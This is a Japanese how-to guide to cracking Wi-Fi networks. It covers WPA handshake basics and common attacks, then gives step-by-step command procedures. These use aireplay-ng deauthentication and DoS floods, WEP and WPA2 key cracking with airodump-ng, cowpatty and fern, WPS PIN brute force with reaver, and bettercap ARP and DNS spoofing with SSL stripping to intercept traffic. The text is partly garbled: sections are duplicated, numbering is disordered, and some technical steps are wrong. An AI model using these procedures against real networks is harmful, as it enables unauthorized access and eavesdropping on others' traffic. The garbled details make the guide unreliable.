1. 無線LAN(WIFI)
1.1. WIFIクラッキングの基礎知識
1.1.1. WiFIとは
IEEE802.11標準に基づくWLANのこと。
詳細はコチラから。
1.2.1. WIFIのクラッキングの種類
WIFIクラッキングは不正使用と盗聴/中間者攻撃に分けられる。
不正使用
不正使用を行うにはAPのスキャニングが必要となる。 具体的にはWIFIを検出するデバイス(PCやスマホ)となる。
WIFIチョーキング
WIFIチョーキングは不正使用可能なAPをマーキングして共有すること。 WIFIチョーキングの手法には以下のようなことがある。
- ウォーウォーキング ... 徒歩でオープンなWIFIを検出
- ウォーフライング ... ドローンを使用してオープンなWIFIを検出
- ウォードライビング ... 車を使用してオープンなWIFIを検出
盗聴/中間者攻撃
盗聴/中間者攻撃には以下のようなことがある。本稿これ以下ではこの手法に関してのヒントを記載する。
- 不正APの設置 ... APモードが必要
- 接続したユーザの通信の監視 ... Wiresharkなどの使用
- 中間者攻撃の設置
- 無線盗聴
- 無線経路上のデータを傍受
- 通信内容の盗聴(暗号解読の必要)
1.2.2. WIFIセキュリティの基本
4Wayハンドシェイク
4Wayハンドシェイクは現在の一般家庭WIFIルータで広く使用されている規格であるWPA-PSKで使用されている手続き。
この手法によりクライアントは PTK (Pairwise Transient Key) と GTK (Group Temporal Key) という 2 種類の鍵をインストールする。
- PTK ... ユニキャスト暗号・復号用の鍵
- GTK ... マルチキャストおよびブロードキャスト暗号・復号用の鍵
クライアントとアクセスポイントはそれぞれ、事前に共有したパスワード(PSK)とアクセスポイントの ESSID から PMK (Pairwise Master Key) を計算する。
4Wayハンドシェイクの手順は以下の通り。
- アクセスポイントはランダムな値 ANonce を決めクライアントに送信する
- クライアントも同様にランダムな値 SNonce を決定し、PMK, 受け取ったANonce, SNonce, アクセスポイントの MAC アドレス, クライアントの MAC アドレスから PTK (Pairwise Transient Key) を計算する
- クライアントは SNonce と メッセージのペイロードと PTK から計算した MIC (Message Integrity Code) をアクセスポイントに送信する
- アクセスポイントは SNonce を受け取った後、クライアントと同様に PTK の計算および MIC の検証(MIC を計算し一致するか確認)を行う
- ANonce、マルチキャスト通信の暗号化に使用する鍵 GTK (Group Transient Key) および MIC をクライアントに送信する
- クライアントは ANonce、GTK および MIC を受け取った後、MIC の検証を行う
- ここまでで問題がなければ MIC のみを設定したメッセージ をアクセスポイントに返送する
ステップ4
でクライアントの PSK が正しくない場合や、メッセージが改ざんされていた場合に検知することができる。
また、ステップ6
でクライアントは不正なアクセスポイントに接続しようとしていないかを確認することができる。
SAEハンドシェイク
SAEハンドシェイクはWPA3において4Wayハンドシェイクを行う前に行われる手続きでWPA3に利用されている。
1.2.3. WIFIアダプタの動作モード
WIFIクラッキングを行う場合WIFIアダプタはMonitorモードやInjectionモードに対応している必要がある。 通常のWIFIアダプタはManagedモードのみに対応している。
Managedモード
Managedモードは通常の無線クライアントデバイスとして動作するモード。 このモードは一般的に通常のWi-Fi接続に使用される。
Monitorモード
Monitorモードはパケットキャプチャやネットワークトラフィックの監視に対応しているモード。 このモードではデバイスはアクセスポイントに接続せず、周囲のWi-Fiトラフィックを受信できる。 セキュリティ診断やネットワークトラブルシューティングなどで使用可能。
Monitorモードでキャプチャされるデータは、暗号化されたままのデータ(MACヘッダ+データ部+FCS)となる。 他、入手可能な情報として、受信した電波の強さや伝送速度などがある。
具体的に可能なことは以下の通り。
- 周囲のWifiネットワークのSSIDやそこに繋がれているクライアントデバイス情報の取得
- 行き来しているデータ/パケットを読むことによるパケットの解析
- ARPテーブルを外部から操作するパケットの注入してから中間者攻撃でネットワーク通信の真ん中に入り、HTTPSに対する攻撃であるSSLStripからトロイの木馬へのすり替えを行う
Injectionモード
Injectionモードはセキュリティテストやハッキングのコンテキストで使用されるモードでネットワークにデータパケットを注入する機能がある。 このモードは通常セキュリティ研究や評価の一環として、ネットワークの脆弱性をテストするために使用される。
1.2.4. モード対応WIFIアダプタの入手方法
Monitor/Injectionモードに対応しているWIFIアダプタの入手にはWIFIアダプタ内のチップセットが重要となる。 そのためメーカやモデルよりも搭載されたチップセットを気にする必要がある。
対応アダプタを調べるために役に立つサイトを以下に記載する。
1.2.5. WIFIルータの動作モード
WIFIルータにはAPモード(アクセスポイントモード)とRTモード(ルータモード)、WBモード(ブリッジモード)がある。
APモード
APモードは無線LANにおいて複数のクライアントをネットワークに接続するための電波を受けるモード。 アクセスポイントとして動作するワイヤレスなL2通信モード(スイッチングハブ)といえる。
RTモード
RTモードはAPモードの機能に加えてルーティング機能も併せ持つモード。 WANを含む異なるネットワークにつなぐ場合に必要な機能で、ワイヤレスなL3通信モード(ルータ)といえる。
WBモード
WBモードはルータをネットワーク自体の中継器にするためのモード。 ブリッジとして動作するといえる。
1.3. WIFIの脆弱性への攻撃
WIFIの脆弱性に対する代表的な攻撃を一部記載する。
1.3.1. ディア・ジャミング攻撃
ディア・ジャミング攻撃は攻撃者がクライアントデバイスをネットワークから切断するために使用される攻撃手法のこと。 この攻撃により攻撃者はクライアントデバイスとアクセスポイントの通信を中断し、クライアントをネットワークから切り離すことができる。
具体的な内部動作としては、攻撃者端末はディア・ジャミング攻撃を実行するために特定のディア・アソシエーションフレームを送信する。 これにより、クライアントデバイスは一時的にネットワークから切断され再接続が必要な状態となる。この性質を悪用したものとなっている。
つまりこの攻撃はネットワークの適切な利用を妨害することが目的としてある。
1.3.2. Krack攻撃
Krack攻撃はWPA2暗号化プロトコルに対する攻撃でクライアントとアクセスポイント間の暗号鍵を再インストールし通信を盗聴する中間者攻撃の一種。
具体的には攻撃者は中間者として振る舞い、暗号化鍵の再インストールを誘導する。 これにより攻撃者は通信を解読でき、通信の内容を盗聴できるというものになる。
Krack攻撃の目的はWPA2によって保護されているネットワーク通信を妨害し、機密情報を盗聴することになる。
Krack攻撃の仕組み
KRACK攻撃は4wayハンドシェイクの4Wayハンドシェイクの完了
メッセージ①送信を中間者攻撃により意図的に止めることにより、ANonce、マルチキャスト通信の暗号化に使用する鍵 **GTK** (Group Transient Key) および MIC をクライアントに送信する
メッセージ②を再送させる。
Krack攻撃はこのメッセージ③を再送させ続けることで TK をずっと同じものを使わせることが特徴となる。 この際の 同じ nonceや TK、同じパターンのnonceで暗号化されたフレームを解析することでパターンを解析し盗聴できるようにするものといえる。
1.3.3. PMKID攻撃
PMKID(Pairwise Master Key Identifier)攻撃はWPA/WPA2暗号化プロトコルに対する攻撃で暗号化キーを抽出しようと試みる攻撃。 攻撃者はPMKIDを収集し、ブルートフォース攻撃を使用して暗号化キーを推測する。 この攻撃は事前共有鍵を狙い、パスワードの破解を試みるというものである。
1.3.4. Evil-twins攻撃
Evil-Twin攻撃は、攻撃者が合法的なアクセスポイント(AP)と同じSSID(ネットワーク名)を使用して偽のAPを設定し、ユーザーを欺こうとする攻撃。 攻撃者は目標ユーザーが接続しやすいようにSSIDを合法的なAPと同じに設定し、ユーザーが接続すると、攻撃者は通信を傍受し機密情報を取得できるようにする。
1.2 WIFIセキュリティの仕組み
1.2.1. WEP
WEPはLANと同等のセキュリティーレベルをWLANで提供することを目的としたセキュリティ規格。 脆弱性が重大であるため使用が非推奨となっている。
WEPはデータの暗号化に単一の暗号鍵を使用しこの暗号鍵は定期的に変更されないため、セキュリティが脆弱となっている。 また、WEPの鍵の長さが短く予測可能なパターンを持つため、攻撃者が鍵を簡単に解読できる可能性が高い。
WEPの脆弱性により、攻撃者はネットワークトラフィックを傍受し、暗号化されたデータを解読することが可能となっている。
1.2.2. WPA
1.2.3. WPA2
WPA2-PSK
WPA2-PSK(WPA2パーソナル)は端末と無線APで事前に設定されている共通のパスフレーズを使って認証する方式。
WPA2-PSKではPSKを元にMSK(Master Session Key)を生成し、MSKの先頭256bitをPMKとして利用する。 この手法から同一のSSID配下のクライアントのPMKは同一となる。
WPA2-PSKでは4way handshakeの通信を傍受することで、PSKを推測するための情報が収集でき、辞書攻撃によるパスワード解析が可能となる。
WPA2-EAP
WPA2-EAP(WPA2エンタープライズ)はEAPを使い認証サーバによる認証をする方式。
WPA2-EAPでは認証サーバにより端末ごとに個別のMSKが生成される。 EAP認証が成功した後、生成されたMSKが端末に送信される。
1.2.4. WPA3
WPA3-Personal
WPA3-Enterprise
1.2.5. WPS
WPSは無線LAN端末と無線ルーターをボタン1つで簡単に設定するための規格。
基本的にWPSでは、アクセスポイントとクライアントが一連のEAPメッセージを交換する。 このトランザクションの終了時に、クライアントは暗号化キーとAPの署名を取得し、暗号化されたネットワークに接続できるようになる。
1.3. WIFIの脆弱性への攻撃
WIFIの脆弱性に対する代表的な攻撃を一部記載する。
1.3.1. ディア・ジャミング攻撃
ディア・ジャミング攻撃は攻撃者がクライアントデバイスをネットワークから切断するために使用される攻撃手法のこと。 この攻撃により攻撃者はクライアントデバイスとアクセスポイントの通信を中断し、クライアントをネットワークから切り離すことができる。
具体的な内部動作としては、攻撃者端末はディア・ジャミング攻撃を実行するために特定のディア・アソシエーションフレームを送信する。 これにより、クライアントデバイスは一時的にネットワークから切断され再接続が必要な状態となる。この性質を悪用したものとなっている。
つまりこの攻撃はネットワークの適切な利用を妨害することが目的としてある。
1.3.2. Krack攻撃
Krack攻撃はWPA2暗号化プロトコルに対する攻撃でクライアントとアクセスポイント間の暗号鍵を再インストールし通信を盗聴する中間者攻撃の一種。
具体的には攻撃者は中間者として振る舞い、暗号化鍵の再インストールを誘導する。 これにより攻撃者は通信を解読でき、通信の内容を盗聴できるというものになる。
Krack攻撃の目的はWPA2によって保護されているネットワーク通信を妨害し、機密情報を盗聴することになる。
1.3.3. PMKID攻撃
PMKID(Pairwise Master Key Identifier)攻撃はWPA/WPA2暗号化プロトコルに対する攻撃で暗号化キーを抽出しようと試みる攻撃。 攻撃者はPMKIDを収集し、ブルートフォース攻撃を使用して暗号化キーを推測する。 この攻撃は事前共有鍵を狙い、パスワードの破解を試みるというものである。
1.3.4. WPSピン攻撃
WPSピン攻撃はWPSのPINコードを解読しようとうする攻撃。 WPSはネットワーク接続を簡略化するための仕組みで、通常はPINを使用してデバイスをネットワークに接続する。 WPSピン攻撃は、WPSのPINコードを解読することでネットワークにアクセスできるというものになる。
この攻撃では通常ブルートフォースアタックでWPSピンコードを試行することとなる。
1.3.5. Evil-twins攻撃
Evil-Twin攻撃は、攻撃者が合法的なアクセスポイント(AP)と同じSSID(ネットワーク名)を使用して偽のAPを設定し、ユーザーを欺こうとする攻撃。 攻撃者は目標ユーザーが接続しやすいようにSSIDを合法的なAPと同じに設定し、ユーザーが接続すると、攻撃者は通信を傍受し機密情報を取得できるようにする。
1.4. WIFIのセキュリティへの攻撃
1.4.1. WEPへの攻撃
WEPキーの解読
WEPキーの解読のための一般的な攻撃には、鍵を総当たりで試行する方法(Brute Force攻撃)や、パケットの収集と統計的な手法(統計的攻撃)がある。
ARPリプレイ攻撃
既知のARPパケットを再生し、WEPキーを取得しようとするWEPの脆弱性を利用した攻撃が可能となっている。
1.4.2. WPAへの攻撃
TKIPの解読
WPAはTKIPと呼ばれる一時的な鍵管理プロトコルを使用してデータを暗号化する。 TKIPは時間が経過するにつれて弱体化するため、高度な攻撃よって解読される場合がある。
WPS攻撃
WPAのネットワークではWPSが有効になっている場合、PIN攻撃などの方法でWPSを乱用しネットワークにアクセスすることができる可能性がある。 これにより設定されたWPAパスワードが無視できる。
1.4.3. WPA2-PSKへの攻撃
ブルートフォースアタック
WPA2-PSKネットワークの最も一般的な攻撃方法はブルートフォースアタックとなる。 これは攻撃者がすべての可能なパスワード組み合わせを試すことを意味する。 強力なパスワードを使用している場合この攻撃は非常に困難となるが、弱いパスワードを使用している場合は攻撃が成功する可能性が高くなる。
辞書攻撃
辞書攻撃では攻撃者は一般的なパスワードや辞書内の単語のリストを使用してネットワークにアクセスしようとする。
ハンドシェイク攻撃
WPA2-PSKではクライアントとアクセスポイント間で安全なハンドシェイクが行われる。 このハンドシェイクをキャプチャすることでオフラインで解析しようとする攻撃もある。
強力なパスワードを使用している場合でも、ハンドシェイク攻撃に対する保護が不十分な場合はこの攻撃が有効になる場合がある。
1.5. AirCrack-ng
1.5.1. AirCrack-ngとは
Aircrack-ngはワイヤレスネットワークのセキュリティテストおよび解析を行うためのCLIツール。 Kali Linuxに標準搭載されている。 主にワイヤレスネットワークのセキュリティ強化と脆弱性診断に使用される。
具体的にはIEEE802.11のWEP/WPA-PSKキーのクラッキングが行える。
公式ドキュメント:https://www.aircrack-ng.org/doku.php
可能なことや特徴は以下の通り。
- パスワードクラッキング
- WEP/WPA/WPA2などのWIFI暗号化キーを解読する事が可能
- ハンドシェイクキャプチャ
- ワイヤレスネットワークのハンドシェイクトラフィックをキャプチャしそれを解析することが可能
- スニッフィング
- ワイヤレスネットワーク上のトラフィックをキャプチャし分析することが可能。
- 無線ネットワークのテスト
- 無線ネットワークの脆弱性をテストが可能
1.5.2. AirCrackの関連コマンド
公式ドキュメントはコチラから。
iwconfig
コマンド(AirCrack搭載ではない)
無線LANインタフェースの参照・設定などができるLinuxシェル。
公式ドキュメント: https://linux.die.net/man/8/iwconfig
iwconfig # ネットワークアダプタ一覧の確認
iwconfig <インターフェイス> # インターフェイスの状態確認
iwconfig <インターフェイス> mode < managed | moniter > # モード切替え
airmon-ng
コマンド
モニターモードを扱うためのコマンドレット。
airmon-ng check # airmon-ng へ影響を与える全プロセスの確認
airmon-ng check kill # airmon-ng へ影響を与える全プロセスの強制終了
airmon-ng start <インターフェイス> # モニターモードの開始
airmon-ng stop <インターフェイス>mon # モニターモードの無効化
airmon-ng check kill
を行う。
airodump-ng
コマンド
パケットキャプチャ/スニッフィングに使用されるコマンドレット。
公式ドキュメント: https://www.aircrack-ng.org/doku.php?id=airodump-ng
airodump-ng <インターフェイス> # 無線状況の確認などができる
airodump-ng -c 6 --bssid 00:0F:8F:44:21:80 -w test-psk wlan0mon # wlanをモニターモードでチャンネル6のBSSID 00:~をtest-psk.capにパケットキャプチャし書き込む
aircrack-ng
コマンド
WEP および WPA/WPA2-PSK キークラッキングプログラム実行用コマンドレット。
公式ドキュメント: https://www.aircrack-ng.org/doku.php?id=aircrack-ng
airbase-ng
コマンド
偽のアクセスポイントを設定するコマンドレット。
airdecap-ng
コマンド
WEP/WPA/WPA2の暗号化を解くためのコマンドレット。
aireplay-ng
コマンド
パケットインジェクションを行うためのコマンドレット。
aireplay-ng -9 <インターフェイス>
# Deauth(認証解除攻撃)をMACアドレスのアクセスポイントに実行
# Essidの非表示のAPの表示化に使える
aireplay-ng -0 20 -a [MACアドレス] [インターフェイス]
1.5.3. AirCrack-ngの使い方
ESSIDが非表示のネットワークを見る方法
# モニターモードで以下を実行
airmon-ng start wlan0
# WIFi状況の確認
airodump-ng wlan0mon
# Ctrl+Cで非表示ネットワークを確認
# BSSIDとCHをメモする
airodump-ng -c [チャンネル] --bssid [BSSID] wlan0mon
# 上記コマンドで観測を行う
# 別ウィンドウでDeauth攻撃を行う
aireplay-ng -0 [パケット数] -a [BSSID] wlan0mon
MACアドレスの偽装(macchanger)
MACアドレスの偽装例は以下の通り。 なおMACアドレスは偽装しても再起動後にデフォルトのMACアドレスに戻る。
アクセスポイントに対するDoS攻撃
# モニターモードで以下を実行
airmon-ng start wlan0
# WIFi状況の確認
airodump-ng wlan0mon
airodump-ng wlan0mon
# Ctrl+Cで非表示ネットワークを確認
# BSSIDとCHをメモする
airodump-ng -c [チャンネル] --bssid [BSSID] wlan0mon
# 上記コマンドで観測を行う
# 別ウィンドウでDeauth攻撃を行う
aireplay-ng -0 [パケット数(膨大)] -a [BSSID] wlan0mon
沢山の偽のアクセスポイント
WEPに対する攻撃
1.12. 具体的な攻撃手法
を参照。
1.6. coWPatty
1.6.1 coWPattyとは
coWPattyはワイヤレスネットワークのセキュリティを解析するための静的解析ツールの一つ。 具体的には、WPAおよびWPA2暗号化を使用して保護されているWi-Fiネットワークのパスワードを解析しようとするために使用できる。
このツールは、WPA/WPA2のパスワードをブルートフォース攻撃で求めるように設計されている。 そのため解析に非常に時間がかかる場合がある。しかし強力なコンピュータリソースや事前に収集したハンドシェイクキャプチャデータを使用することで、効果的にWPA/WPA2のパスワードを解析することができる。
1.6.2. coWPattyの関連コマンド
公式ドキュメントはコチラから。
1.7. Reaver
1.7.1. Reaverとは
ReaverはWIFiアクセスポイントへのWPSピン攻撃をブルートフォースで実行するツール。
1.8. Pixiwps
1.7.2. Pixiwpsとは
PixeWPS は、WPSトランザクション中にキー交換を総当たり攻撃するツール。
1.9. Wifite
1.9.1. Wifiteとは
Wifiteはターミナルからコマンドを使用して無線LANへのペネトレーションテストを行うツール。 特徴は以下の通り。
- WLANのスキャンと暗号化方式、信号強度などの情報取得
- Wi-Fiネットワークをスキャン、脆弱性を見つけるプロセスの自動化
- WEP、WPA、WPA2、WPSへの攻撃サポート
- ブルートフォースアタック、WPSピン攻撃、辞書攻撃へのサポート
Wifiteのコマンド
基本形は以下の通り。
オプション | 説明 |
---|---|
-h | ヘルプ |
-v | その他のオプション表示 |
-i <インターフェイス> | 使用するインターフェイスの指定 |
-c <チャンネル> | スキャンするチャンネルの指定 |
-inf | 無限攻撃モードの有効化 |
-mac | ワイヤレスカードのMACアドレスをランダム化 |
-p <スキャン時間(s)> | スキャン時間の後にすべてのターゲットを攻撃する |
-kill | Airmon/Airodumpと競合するプロセスをキルする |
-pow <最低シグナル強度> | 最低シグナル強度以上の以上の信号強度を持つターゲットを攻撃 |
-skip-crack | キャプチャーされたハンドシェイク/pmkidのクラッキングをスキップする |
-first <ターゲット> | 最初のターゲットを攻撃する |
-clients-only | 関連するクライアントを持つターゲットのみを表示 |
-nodeauths | パッシブモード。クライアントの認証を解除しない |
-daemon | 終了後、デバイスをマネージドモードに戻す |
オプション | 説明 |
---|---|
WEP | |
-wep | WEPで暗号化されたネットワークのみを表示 |
-require-fakeauth | fake-authが失敗した場合、攻撃を失敗させる |
-keep-ivs | .IVSファイルを保持し、クラック時に再利用する |
WPA | |
-wpa | WPAで暗号化されたネットワークのみを表示(WPS含む) |
-new-hs | 新しいハンドシェイクをキャプチャし、hsにある既存のハンドシェイクを無視する |
-dict <ファイル> | クラッキング用のパスワードを含むファイル指定 |
WPS | |
-wps | WPS対応のネットワークのみを表示 |
-wps-only | WPS PINとPixie-Dust攻撃のみを使用 |
-bully | WPS PINやPixie-Dustの攻撃にいじめっ子プログラムを使用 |
-reaver | WPS PINおよびPixie-Dust攻撃にreaverプログラムを使用 |
-ignore-locks | APがロックされてもWPS PIN攻撃を停止しない |
PMKID | |
-pmkid | PMKIDキャプチャのみを使用し、他のWPSおよびWPA攻撃を回避する |
-no-pmkid | PMKIDキャプチャーを使用しない |
-pmkid-timeout <秒> | PMKID capturevを待つ時間の指定 |
COMMANDS | |
-cracked | 今まで割れていたアクセスポイントを表示する |
-check <ファイル(hs/*.cap)> | .capファイル(またはすべてのhs/*.capファイル)のWPAハンドシェイクをチェックする |
-crack | キャプチャしたハンドシェイクをクラックするコマンドを表示 |
Wifiteの基本的な使い方
wifite
の実行- ターゲットのアクセスポイントが表示されたら
Ctrl+C
で停止する - ターゲットのアクセスポイントの番号をCUI上に入力する
- パスワードクラシックの開始(時間(数時間)がかかる場合あり)
1.10. fern Wifi Cracker
fern Wifi CrackerはPythonで書かれたWIFIセキュリティ監査/ペネトレーションテスト用のGUIプログラム。 WEP/WPA/WPSキーのクラックとWLAN/Ethernetネットワークに対する攻撃が可能。
特徴は以下の通り。
- フラグメンテーション,ChipChop,Caferate,ARPリクエストリプレイ,WPS攻撃によるWPSクラッキングの対応
- 辞書/WPSベースのWPA/WPA2への攻撃
- クラッキングの成功時の鍵のデータベース自動保存
- 自動AP攻撃の実行
- ブルートフォースアタックの対応
1.11. BetterCap
Wi-Fi、BLE、ワイヤレスデバイス、イーサネットに対してスキャンやクラッキングを行うことのできるツール。 中間者攻撃を検証する際に利用できる。特徴は以下の通り。
- ARPスプーフィング、DNSスプーフィング、DHCPv6スプーフィング
- JavaScriptプラグインで拡張可能なHTTP/HTTPSなどのプロキシ機能
- クレデンシャル収集のためのネットワークスニファ機能
- ポートスキャン機能
- Wi-FiやBLEに対するスキャンやクラッキングの機能
基本的な使い方
起動
# BetterCapの利用
sudo bettercap -iface [インターフェース]
# 攻撃対象の確認(ARPテーブルの情報を表示)
net.show
# サブネット内の全IPアドレスに対してARPリクエストをブロードキャストする
net.probe [on | off]
ARPスプーフィング
## ARPスプーフィングの開始
set arp.spoof.fullduplex true
set arp.spoof.targets [IPアドレス]
arp.spoof [on | off]
# ARPスプーフィング開始後はWiresharkで通信を確認する
DNSスプーフィング
DNSスプーフィングのためにはどのドメイン名に対してどのIPアドレスに誘導するかを設定する必要がある。 方法は以下の2通り
- インタラクティブシェル上から
dns.spoof.address
とdns.spoof.domains
を設定する方法 - ドメイン名とIPアドレスを記述したファイルをあらかじめ作成して
dns.spoof.hosts
に読み込ませる方法
1番目の方法を解説。
set dns.spoof.domains [ドメイン名],[ドメイン名]...
set dns.spoof.address [IPアドレス]
set dns.spoof.all true
dns spoof [on|off]
2番目の方法を解説。
spoof.hosts
を作成(www.google.com
など書く)set dns.spoof.hosts ./[ファイル名]
で設定を読み込むget dns.spoof.hosts
で設定を確認dns spoof [on|off]
でDNSスプーフィングを実行
透過型HTTPプロキシ
なお以下コマンドで建てた透過型プロキシではほとんどの場合は、httpsに対応したいサイトではHSTSが検知してしまう。
set http.proxy.sslstrip true
set net.sniff.verbose false
set arp.spoof.targets [IPアドレス]
arp.spoof on
http.proxy on
net.sniff on
SSLストリッピングとHSTSバイパスを行うHTTPプロキシ
以下手法ではSSLにおいてWWW
からサブドメインが始まるURLのほとんどにTLS化が行われていることを利用して、ターゲットのFDQNをwww
からwwww
に変更を行い、名前解決をBettrecap側で行わせるものとなる。
1.12. 具体的な攻撃手法
1.12.1. WEPに対する攻撃 (airmon-ngの使用)
攻撃の種類はWEPキーの解読となる。 なお、攻撃対象はAPと端末が通信している必要がある。
また途中で解析が止まった場合は以下の可能性がある。
- パケット解析結果が少ない
- 対象ルータへのアクセスが少ない
使用ツール/ファイル
- ハードウェア
- Monitorモード対応WIFIアダプタ
- ソフトウェア
- airmon-ng
攻撃手段
- 以下手順により攻撃対象のAPのBSSIDとChannnel情報、パケット情報を収集
- WIFIアダプタをMonitorモードに変更
ifconfig <インターフェイス> down
iwconfig <インターフェイス> mode monitor
ifconfig <インターフェイス> up
iwconfig <インターフェイス>
で確認
sudo airodump-ng <インターフェイス>
でMonitorモード動作/BSSID/チャンネル情報の確認sudo airodump-ng -c <チャンネル番号> --bssid <BSSID> -w <作成したいパケットファイル名> <インターフェイス>
でパケット情報収集(任意時間):※Dataが多くたまる必要ありsudo airodump-ng <作成したいパケットファイル名>-01.cap
でパスワード解析開始(時間がかかる)
1.12.2. WPAに対する辞書攻撃 (fern Wifi Crackerの使用)
攻撃には辞書データが必要。
パスワードの辞書ファイル例は以下より。
SecLists | https://github.com/danielmiessler/SecLists
またKali Linuxの/usr/share/wordlists/
以下にも辞書ファイルがある。
おすすめはrockyou.txt
。
使用ツール/ファイル
- ハードウェア
- Monitorモード対応WIFIアダプタ
- ソフトウェア
- fern Wifi Cracker
- 必要なデータ
- 辞書攻撃用の辞書ファイル
攻撃手順
fern Wifi Cracker
の起動- 使用するWIFIアダプタを選択し
refresh
を行う Tips-Scan setting
の画面でokを押すWifi WPA
ボタンを押す- ターゲットのネットワーク名を選択する
- 左下のBrowseボタンで辞書ファイルを選択
- Attackボタンで攻撃を開始する
1.12.3. WPA2-PSKに対する辞書攻撃 (airmon-ng, cowpatty, genpmkの使用)
この攻撃は辞書攻撃となるため攻撃には辞書データが必要。 なお攻撃対象はAPと端末が通信している必要がある。
パスワードの辞書ファイル例は以下より。
SecLists | https://github.com/danielmiessler/SecLists
またKali Linuxの/usr/share/wordlists/
以下にも辞書ファイルがある。
おすすめはrockyou.txt
。
使用ツール/ファイル
- ハードウェア
- Monitorモード対応WIFIアダプタ
- ソフトウェア
- airmon-ng
- genpmk
- cowpatty
- 必要なデータ
- 辞書攻撃用の辞書ファイル
攻撃手順
- 以下手順により攻撃対象のAPのBSSIDとChannnel情報、パケット情報を収集
- WIFIアダプタをMonitorモードに変更
ifconfig <インターフェイス> down
iwconfig <インターフェイス> mode monitor
ifconfig <インターフェイス> up
iwconfig <インターフェイス>
で確認
sudo airodump-ng <インターフェイス>
でMonitorモード動作/BSSID/チャンネル情報の確認sudo airodump-ng -c <チャンネル番号> --bssid <BSSID> -w <作成したいパケットファイル名> <インターフェイス>
でパケット情報収集(任意時間)- レインボテーブルの作成
genpmk -f <辞書ファイル> -d <作成したいレインボテーブル名> -s <任意のSSID名>
でレインボテーブルの作成- レインボテーブルによるパスワード解析
cowpatty -r <パケットキャプチャファイル(.cap)> -d <作成したレインボテーブル> -s <任意のSSID名>
によりパスワード算出
1.12.4. WPSに対するWPSピン攻撃 (reaverの使用)
この攻撃はWPSピン攻撃となるため攻撃にはルータがWPSに対応している必要がある。 なお攻撃に時間がかかる場合がある。
使用ツール/ファイル
- ハードウェア
- Monitorモード対応WIFIアダプタ
- ソフトウェア
- reaver
攻撃手順
- 以下手順により攻撃対象のAPのBSSIDとChannnel情報を収集
- WIFIアダプタをMonitorモードに変更
ifconfig <インターフェイス> down
iwconfig <インターフェイス> mode monitor
ifconfig <インターフェイス> up
iwconfig <インターフェイス>
で確認
sudo airodump-ng <インターフェイス>
でMonitorモード動作/BSSID/チャンネル情報の確認- 脆弱なWPSが実装されたAPを見つける
wash -i <インターフェイス>mon
で脆弱なWPS実装を見つけBSSID/チャンネルを記録する- Reaverを起動しブルートフォースアタックを開始する
reaver -i <インターフェイス>mon -c <チャンネル> -b <BSSID> -vv
により攻撃開始- もしWPS PIN を取得出来たらそれをメモし以下コマンドでWPAキーを取得する
reaver -i <インターフェイス>mon -b <BSSID> -vvNwL -c 1 -p <PIN>
なお3フェーズ
においてうまく行かなかった場合、reaver -i <インターフェイス>mon -c <チャンネル> -b <BSSID> -vv -L -N -d 15 -T .5 -r 3:15
のように高度なオプションを装備してReaverがうまく攻撃できるようにできる。
オプションは以下の通り。
-L
... ロックされたWPS状態の無視-N
... エラー検出後NACKパケットを送信しない-d 15
... PINの試行間隔の設定(15s)-T .5
... タイムアウト期間の設定(0.5s)-r 3:15
... 3回の試行後15秒スリープ-K
... ピクシーダスト攻撃の有効化(Ralink・Broadcom・Realtek各社の無線LANチップに有効)